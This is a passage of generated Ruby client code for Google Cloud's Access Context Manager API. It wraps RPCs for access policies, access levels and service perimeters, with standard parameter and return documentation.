def create_access_policy request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::AccessPolicy
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.create_access_policy.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
options.apply_defaults timeout: @config.rpcs.create_access_policy.timeout,
metadata: metadata,
retry_policy: @config.rpcs.create_access_policy.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :create_access_policy, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Update an [AccessPolicy]
# [google.identity.accesscontextmanager.v1.AccessPolicy]. The
# longrunning Operation from this RPC will have a successful status once the
# changes to the [AccessPolicy]
# [google.identity.accesscontextmanager.v1.AccessPolicy] have propagated
# to long-lasting storage. Syntactic and basic semantic errors will be
# returned in `metadata` as a BadRequest proto.
#
# @overload update_access_policy(request, options = nil)
# Pass arguments to `update_access_policy` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::UpdateAccessPolicyRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::UpdateAccessPolicyRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload update_access_policy(policy: nil, update_mask: nil)
# Pass arguments to `update_access_policy` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param policy [::Google::Identity::AccessContextManager::V1::AccessPolicy, ::Hash]
# Required. The updated AccessPolicy.
# @param update_mask [::Google::Protobuf::FieldMask, ::Hash]
# Required. Mask to control which fields get updated. Must be non-empty.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def update_access_policy request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::UpdateAccessPolicyRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.update_access_policy.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"policy.name" => request.policy.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.update_access_policy.timeout,
metadata: metadata,
retry_policy: @config.rpcs.update_access_policy.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :update_access_policy, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Delete an [AccessPolicy]
# [google.identity.accesscontextmanager.v1.AccessPolicy] by resource
# name. The longrunning Operation will have a successful status once the
# [AccessPolicy] [google.identity.accesscontextmanager.v1.AccessPolicy]
# has been removed from long-lasting storage.
#
# @overload delete_access_policy(request, options = nil)
# Pass arguments to `delete_access_policy` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::DeleteAccessPolicyRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::DeleteAccessPolicyRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload delete_access_policy(name: nil)
# Pass arguments to `delete_access_policy` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. Resource name for the access policy to delete.
#
# Format `accessPolicies/{policy_id}`
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def delete_access_policy request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::DeleteAccessPolicyRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.delete_access_policy.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.delete_access_policy.timeout,
metadata: metadata,
retry_policy: @config.rpcs.delete_access_policy.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :delete_access_policy, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# List all [Access Levels]
# [google.identity.accesscontextmanager.v1.AccessLevel] for an access
# policy.
#
# @overload list_access_levels(request, options = nil)
# Pass arguments to `list_access_levels` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::ListAccessLevelsRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::ListAccessLevelsRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload list_access_levels(parent: nil, page_size: nil, page_token: nil, access_level_format: nil)
# Pass arguments to `list_access_levels` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. Resource name for the access policy to list [Access Levels]
# [google.identity.accesscontextmanager.v1.AccessLevel] from.
#
# Format:
# `accessPolicies/{policy_id}`
# @param page_size [::Integer]
# Number of [Access Levels]
# [google.identity.accesscontextmanager.v1.AccessLevel] to include in
# the list. Default 100.
# @param page_token [::String]
# Next page token for the next batch of [Access Level]
# [google.identity.accesscontextmanager.v1.AccessLevel] instances.
# Defaults to the first page of results.
# @param access_level_format [::Google::Identity::AccessContextManager::V1::LevelFormat]
# Whether to return `BasicLevels` in the Cloud Common Expression language, as
# `CustomLevels`, rather than as `BasicLevels`. Defaults to returning
# `AccessLevels` in the format they were defined.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::PagedEnumerable<::Google::Identity::AccessContextManager::V1::AccessLevel>]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::PagedEnumerable<::Google::Identity::AccessContextManager::V1::AccessLevel>]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def list_access_levels request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::ListAccessLevelsRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.list_access_levels.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.list_access_levels.timeout,
metadata: metadata,
retry_policy: @config.rpcs.list_access_levels.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :list_access_levels, request, options: options do |response, operation|
response = ::Gapic::PagedEnumerable.new @access_context_manager_stub, :list_access_levels, request, response, operation, options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Get an [Access Level]
# [google.identity.accesscontextmanager.v1.AccessLevel] by resource
# name.
#
# @overload get_access_level(request, options = nil)
# Pass arguments to `get_access_level` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::GetAccessLevelRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::GetAccessLevelRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload get_access_level(name: nil, access_level_format: nil)
# Pass arguments to `get_access_level` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. Resource name for the [Access Level]
# [google.identity.accesscontextmanager.v1.AccessLevel].
#
# Format:
# `accessPolicies/{policy_id}/accessLevels/{access_level_id}`
# @param access_level_format [::Google::Identity::AccessContextManager::V1::LevelFormat]
# Whether to return `BasicLevels` in the Cloud Common Expression
# Language rather than as `BasicLevels`. Defaults to AS_DEFINED, where
# [Access Levels] [google.identity.accesscontextmanager.v1.AccessLevel]
# are returned as `BasicLevels` or `CustomLevels` based on how they were
# created. If set to CEL, all [Access Levels]
# [google.identity.accesscontextmanager.v1.AccessLevel] are returned as
# `CustomLevels`. In the CEL case, `BasicLevels` are translated to equivalent
# `CustomLevels`.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Identity::AccessContextManager::V1::AccessLevel]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Identity::AccessContextManager::V1::AccessLevel]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def get_access_level request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::GetAccessLevelRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.get_access_level.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.get_access_level.timeout,
metadata: metadata,
retry_policy: @config.rpcs.get_access_level.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :get_access_level, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Create an [Access Level]
# [google.identity.accesscontextmanager.v1.AccessLevel]. The longrunning
# operation from this RPC will have a successful status once the [Access
# Level] [google.identity.accesscontextmanager.v1.AccessLevel] has
# propagated to long-lasting storage. [Access Levels]
# [google.identity.accesscontextmanager.v1.AccessLevel] containing
# errors will result in an error response for the first error encountered.
#
# @overload create_access_level(request, options = nil)
# Pass arguments to `create_access_level` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::CreateAccessLevelRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::CreateAccessLevelRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload create_access_level(parent: nil, access_level: nil)
# Pass arguments to `create_access_level` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. Resource name for the access policy which owns this [Access
# Level] [google.identity.accesscontextmanager.v1.AccessLevel].
#
# Format: `accessPolicies/{policy_id}`
# @param access_level [::Google::Identity::AccessContextManager::V1::AccessLevel, ::Hash]
# Required. The [Access Level]
# [google.identity.accesscontextmanager.v1.AccessLevel] to create.
# Syntactic correctness of the [Access Level]
# [google.identity.accesscontextmanager.v1.AccessLevel] is a
# precondition for creation.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def create_access_level request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::CreateAccessLevelRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.create_access_level.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.create_access_level.timeout,
metadata: metadata,
retry_policy: @config.rpcs.create_access_level.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :create_access_level, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Update an [Access Level]
# [google.identity.accesscontextmanager.v1.AccessLevel]. The longrunning
# operation from this RPC will have a successful status once the changes to
# the [Access Level]
# [google.identity.accesscontextmanager.v1.AccessLevel] have propagated
# to long-lasting storage. [Access Levels]
# [google.identity.accesscontextmanager.v1.AccessLevel] containing
# errors will result in an error response for the first error encountered.
#
# @overload update_access_level(request, options = nil)
# Pass arguments to `update_access_level` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::UpdateAccessLevelRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::UpdateAccessLevelRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload update_access_level(access_level: nil, update_mask: nil)
# Pass arguments to `update_access_level` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param access_level [::Google::Identity::AccessContextManager::V1::AccessLevel, ::Hash]
# Required. The updated [Access Level]
# [google.identity.accesscontextmanager.v1.AccessLevel]. Syntactic
# correctness of the [Access Level]
# [google.identity.accesscontextmanager.v1.AccessLevel] is a
# precondition for creation.
# @param update_mask [::Google::Protobuf::FieldMask, ::Hash]
# Required. Mask to control which fields get updated. Must be non-empty.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def update_access_level request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::UpdateAccessLevelRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.update_access_level.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"access_level.name" => request.access_level.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.update_access_level.timeout,
metadata: metadata,
retry_policy: @config.rpcs.update_access_level.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :update_access_level, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Delete an [Access Level]
# [google.identity.accesscontextmanager.v1.AccessLevel] by resource
# name. The longrunning operation from this RPC will have a successful status
# once the [Access Level]
# [google.identity.accesscontextmanager.v1.AccessLevel] has been removed
# from long-lasting storage.
#
# @overload delete_access_level(request, options = nil)
# Pass arguments to `delete_access_level` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::DeleteAccessLevelRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::DeleteAccessLevelRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload delete_access_level(name: nil)
# Pass arguments to `delete_access_level` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. Resource name for the [Access Level]
# [google.identity.accesscontextmanager.v1.AccessLevel].
#
# Format:
# `accessPolicies/{policy_id}/accessLevels/{access_level_id}`
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def delete_access_level request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::DeleteAccessLevelRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.delete_access_level.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.delete_access_level.timeout,
metadata: metadata,
retry_policy: @config.rpcs.delete_access_level.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :delete_access_level, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Replace all existing [Access Levels]
# [google.identity.accesscontextmanager.v1.AccessLevel] in an [Access
# Policy] [google.identity.accesscontextmanager.v1.AccessPolicy] with
# the [Access Levels]
# [google.identity.accesscontextmanager.v1.AccessLevel] provided. This
# is done atomically. The longrunning operation from this RPC will have a
# successful status once all replacements have propagated to long-lasting
# storage. Replacements containing errors will result in an error response
# for the first error encountered. Replacement will be cancelled on error,
# existing [Access Levels]
# [google.identity.accesscontextmanager.v1.AccessLevel] will not be
# affected. Operation.response field will contain
# ReplaceAccessLevelsResponse. Removing [Access Levels]
# [google.identity.accesscontextmanager.v1.AccessLevel] contained in existing
# [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] will result in
# error.
#
# @overload replace_access_levels(request, options = nil)
# Pass arguments to `replace_access_levels` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::ReplaceAccessLevelsRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::ReplaceAccessLevelsRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload replace_access_levels(parent: nil, access_levels: nil, etag: nil)
# Pass arguments to `replace_access_levels` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. Resource name for the access policy which owns these
# [Access Levels]
# [google.identity.accesscontextmanager.v1.AccessLevel].
#
# Format: `accessPolicies/{policy_id}`
# @param access_levels [::Array<::Google::Identity::AccessContextManager::V1::AccessLevel, ::Hash>]
# Required. The desired [Access Levels]
# [google.identity.accesscontextmanager.v1.AccessLevel] that should
# replace all existing [Access Levels]
# [google.identity.accesscontextmanager.v1.AccessLevel] in the
# [Access Policy]
# [google.identity.accesscontextmanager.v1.AccessPolicy].
# @param etag [::String]
# Optional. The etag for the version of the [Access Policy]
# [google.identity.accesscontextmanager.v1.AccessPolicy] that this
# replace operation is to be performed on. If, at the time of replace, the
# etag for the Access Policy stored in Access Context Manager is different
# from the specified etag, then the replace operation will not be performed
# and the call will fail. This field is not required. If etag is not
# provided, the operation will be performed as if a valid etag is provided.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::Operation]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::Operation]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def replace_access_levels request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::ReplaceAccessLevelsRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.replace_access_levels.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.replace_access_levels.timeout,
metadata: metadata,
retry_policy: @config.rpcs.replace_access_levels.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :replace_access_levels, request, options: options do |response, operation|
response = ::Gapic::Operation.new response, @operations_client, options: options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# List all [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] for an
# access policy.
#
# @overload list_service_perimeters(request, options = nil)
# Pass arguments to `list_service_perimeters` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::ListServicePerimetersRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::ListServicePerimetersRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload list_service_perimeters(parent: nil, page_size: nil, page_token: nil)
# Pass arguments to `list_service_perimeters` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. Resource name for the access policy to list [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] from.
#
# Format:
# `accessPolicies/{policy_id}`
# @param page_size [::Integer]
# Number of [Service Perimeters]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] to include
# in the list. Default 100.
# @param page_token [::String]
# Next page token for the next batch of [Service Perimeter]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] instances.
# Defaults to the first page of results.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::PagedEnumerable<::Google::Identity::AccessContextManager::V1::ServicePerimeter>]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::PagedEnumerable<::Google::Identity::AccessContextManager::V1::ServicePerimeter>]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def list_service_perimeters request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::ListServicePerimetersRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.list_service_perimeters.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Identity::AccessContextManager::V1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.list_service_perimeters.timeout,
metadata: metadata,
retry_policy: @config.rpcs.list_service_perimeters.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@access_context_manager_stub.call_rpc :list_service_perimeters, request, options: options do |response, operation|
response = ::Gapic::PagedEnumerable.new @access_context_manager_stub, :list_service_perimeters, request, response, operation, options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Get a [Service Perimeter]
# [google.identity.accesscontextmanager.v1.ServicePerimeter] by resource
# name.
#
# @overload get_service_perimeter(request, options = nil)
# Pass arguments to `get_service_perimeter` via a request object, either of type
# {::Google::Identity::AccessContextManager::V1::GetServicePerimeterRequest} or an equivalent Hash.
#
# @param request [::Google::Identity::AccessContextManager::V1::GetServicePerimeterRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload get_service_perimeter(name: nil)
# Pass arguments to `get_service_perimeter` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. Resource name for the [Service Perimeter]
# [google.identity.accesscontextmanager.v1.ServicePerimeter].
#
# Format:
# `accessPolicies/{policy_id}/servicePerimeters/{service_perimeters_id}`
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Identity::AccessContextManager::V1::ServicePerimeter]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Identity::AccessContextManager::V1::ServicePerimeter]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def get_service_perimeter request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Identity::AccessContextManager::V1::GetServicePerimeterRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
